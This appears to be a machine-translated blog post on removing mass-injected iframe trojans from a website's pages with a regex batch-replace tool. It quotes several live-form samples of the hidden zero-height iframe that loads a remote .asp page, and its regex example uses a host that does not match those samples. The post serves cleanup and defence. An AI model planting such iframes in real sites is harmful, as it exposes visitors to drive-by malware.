Batch use Replacement Tools to delete Trojans

It is common for websites to be infected with Trojans in batches. Generally, you can easily Delete Code in batches by using a batch replacement tool. However, if every page of a website is placed with Trojans, the Code is also different. How can this problem be solved? Next, let's take a look at how to use the replacement tool to delete Trojans in batches: Because no trojans on a page are the same, they cannot be deleted. A friend of mine encountered this problem a few days ago. He complained that a website on the server had been infected with Trojans in batches. After careful consideration, the Trojans on each page were different. I checked a trojan like this: <ifraME src = http://www.bkjia.com /Isme. asp widTH = 50 height = 0 name = 5148 naMe = 2 boRdeR = 0> </ifRame> the Trojan on page 2 is: <ifraME src = http://www.bkjia.com /Isme. asp widTH = 50 height = 0 name = 2133 naMe = 2 boRdeR = 0> </ifRame> the Trojan on page 3 is: <ifraME src = http://www.bkjia.com /Isme. asp widTH = 50 height = 0 name = 4583 naMe = 2 boRdeR = 0> </ifRame> ...... Although the Trojans on each page are different, there are still some rules. At this time, I am depressed. If there is a batch replacement tool that supports regular expressions, it would be nice. Fortunately, the areone of the days helped me introduce a small tool that can meet this requirement. Open the AFR tool and select batch replacement. Enter <ifraME src = http://xxxxx/u.asp WidTH = 50 height = 0 name = \ d {4} naMe = 2 boRdeR = 0> </ifRame>. Note that the red part in the preceding statement is a regular expression. In this way, you can delete Trojans in batches. Soon, Trojans on more than pages were cleared. Success. Regular expressions are used in many technical applications. I will also find some teaching materials in this area later.